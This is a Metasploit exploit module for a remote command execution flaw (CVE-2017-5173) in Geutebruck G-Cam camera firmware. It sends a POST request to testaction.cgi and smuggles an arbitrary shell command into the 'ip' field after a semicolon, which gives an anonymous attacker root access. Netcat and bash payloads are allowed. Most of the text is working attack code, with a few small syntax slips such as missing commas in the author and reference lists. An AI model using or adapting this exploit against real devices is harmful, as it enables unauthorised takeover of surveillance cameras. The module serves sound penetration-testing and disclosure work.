Geutebruck testaction.cgi Remote Command Execution

This Metasploit module exploits a an arbitrary command execution vulnerability. The vulnerability exists in the /uapi-cgi/viewer/testaction.cgi page and allows an anonymous user to execute arbitrary commands with root privileges. Firmware <= 1.11.0.12 are concerned. Tested on 5.02024 G-Cam/EFD-2250 running 1.11.0.12 firmware.


MD5 | 584256c90a7c1a22c6fb8b90488d1b76

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Geutebruck testaction.cgi Remote Command Execution',
'Description' => %q{
This module exploits a an arbitrary command execution vulnerability. The
vulnerability exists in the /uapi-cgi/viewer/testaction.cgi page and allows an
anonymous user to execute arbitrary commands with root privileges.
Firmware <= 1.11.0.12 are concerned.
Tested on 5.02024 G-Cam/EFD-2250 running 1.11.0.12 firmware.
},
'Author' =>
[
'Davy Douhine', #CVE-2017-5173 (RCE) and metasploit module
'Florent Montel' #CVE-2017-5174 (Authentication bypass)
'Frederic Cikala' #CVE-2017-5174 (Authentication bypass)
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-5173' ],
[ 'CVE', '2017-5174' ],
[ 'URL', 'http://geutebruck.com' ]
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-045-02' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat bash',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 16 2016'))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/testaction.cgi']),
], self.class)
end

def exploit
uri = normalize_uri(target_uri.path)
print_status("#{rhost}:#{rport} - Attempting to exploit...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'type' => "ip",
'ip' => "eth0 1.1.1.1;#{command}",
},
})
end

end



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